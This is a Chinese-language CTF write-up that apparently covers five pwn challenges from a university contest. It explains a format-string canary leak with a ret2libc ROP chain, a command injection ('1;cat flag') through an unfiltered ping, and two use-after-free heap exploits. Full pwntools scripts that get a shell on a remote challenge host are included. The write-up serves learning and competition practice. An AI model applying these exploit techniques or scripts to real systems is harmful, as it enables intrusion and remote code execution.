首先庆祝一下咋队得第二吧(原来是第二的,把密码学交了就显示第一了,当时没做出来)
PWN1
查看程序,逻辑是读取你输入的字符串,然后和CUMTCTF对比,如果通过就执行bin/sh
在比较前下个断点,进行调试,发现此时对比的是地址0x4008d5
在看程序中输入的格式是“ld”,说明我们只能输入长整形,所以我们把0x4008d5转换为10进制进行输入4196565,然后调试.,发现此时验证通过了。
拿到flag
PWN2
先检查程序,发现程序开启了canary保护和堆栈不可执行
然后查看程序,程序会先执行一个fmt()函数,可以发现这里有一个格式字符串的漏洞,可以泄露canary值
然后执行vul()函数,可以看到这个函数读取的buf有0x64字节,而buf只有0x20字节存在栈溢出
所以解题思路是先泄露canary,然后构建rop链泄露puts函数地址,然后重启程序,再次泄露canary地址,构建rop链getshell
因为canary的值距离栈顶是0x8个字节,64位Linux前六个参数用寄存器传递, 后面的才从栈上读取,所以要使var_8是printf函数的第8个参数,因此使用“%7$p”作为printf参数可以泄露出canary的值。所以payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| \
from pwn import *
context.binary='pwn2'
context.log_level = 'debug'
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
\
p = remote("1.15.81.218",10001)
pop_rdi=0x400983
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start_addr=0x4006A0
p.recvuntil("fmtstr,Do you konw it?")
\
payload = "%7$p"
p.sendline(payload)
Canary=int(p.recvuntil("00"),16)
log.info("Canary:"+hex(Canary))
p.recvuntil("Remeber canary!!")
\
payload = "a"*24+p64(Canary)+"a"*8+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(start_addr)
p.send(payload)
\
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
\
libc_base = puts_addr - libc.symbols['puts']
\
binsh_addr = libc.search("/bin/sh").next()+libc_base
system_addr=libc_base+libc.symbols['system']
p.recvuntil("fmtstr,Do you konw it?")
\
payload = "%7$p"
p.sendline(payload)
Canary=int(p.recvuntil("00"),16)
log.info("Canary:"+hex(Canary))
p.recvuntil("Remeber canary!!")
\
payload2 = "a"*24+p64(Canary)+"a"*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
|
PWN3
用ida打开程序,发现程序是一个选择菜单
然后在选择1中,说是执行ping命令,但是没有进行过滤,会用system函数执行我们输入进去的命令
选择1,然后1;cat flag,即可拿到Flag
PWN4
Ida打开程序,发现也是一个选择菜单
仔细观察每个选择,发现漏洞点在2.delete中,函数只是free了堆块,但是没有把指针置空,会造成uaf漏洞
Gdb调试:
先申请2个32字节的堆块(size为16 24 32的堆块free后会进入fastbin不会被合并)
可以看到我们申请的堆块对应一个内存堆和一个print_heap_name函数
然后删除这两个堆块,可以看到删除的堆块进入了fastbin
这时候我们申请一个堆块,size为8,内容为cccc
此时覆盖了第一个堆块的print_heap_name函数指针
然后我们选择show,就会调用这个指针,所以我们可以控制这个指针调用我们想要的函数
程序中有后门函数,所以只要覆盖成这个就行
Payload脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| \
\
from pwn import *
context.binary = "./pwn4"
context.log_level = 'debug'
p = remote('1.15.81.218', 10003)
backdoor = 0x0000000400BCE
\
\
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("32")
p.recvuntil(":")
p.sendline("6666")
\
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("32")
p.recvuntil(":")
p.sendline("7777")
\
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline("0")
\
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline("1")
\
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(p32(backdoor))
\
\
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline("0")
p.interactive()
|
PWN5
用ida打开程序,也是一个让我们选择的程序,选项1是创建账号,2是展示,3是删除,4是添加memory,5选项是验证main_account+16的位置的值是否等于1953330531,然后getshell
所以解题思路是覆盖这个位置的数据为1953330531
我们注意到删除账号的时候也只是进行了free,没有置空指针,有uaf漏洞利用
然后在add memory时,可以读入256个字节。
Gdb调试:
先创建一个aaaa,bbbb的账号,堆内存如下
然后尝试check,发现检查的main_account+16的位置是0x603010+0x40,也就是64个字节
然后删除账号,添加一个memory,内容为68个c
就可以覆盖到0x50的位置
所以只要把0x50位置的值覆盖为1953330531(十六进制0x746d7563)即可
Payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import *
\
p = remote('1.15.81.218', 10004)
context.log_level = 'debug'
def Create_your_account():
p.recvuntil(">")
p.sendline("1")
p.recvuntil("your first name:")
p.sendline("aaaa")
p.recvuntil("your last name:")
p.sendline("aaaa")
def delete_your_account():
p.recvuntil(">")
p.sendline('3')
def add_memory(payload):
p.recvuntil(">")
p.sendline('4')
p.recvuntil("plz input what you want say:")
\
p.sendline(payload)
def check_CUMT():
p.recvuntil(">")
p.sendline("5")
Create_your_account()
delete_your_account()
payload = 'a'*64+p64(0x746d7563)
add_memory(payload)
\
check_CUMT()
p.interactive()
|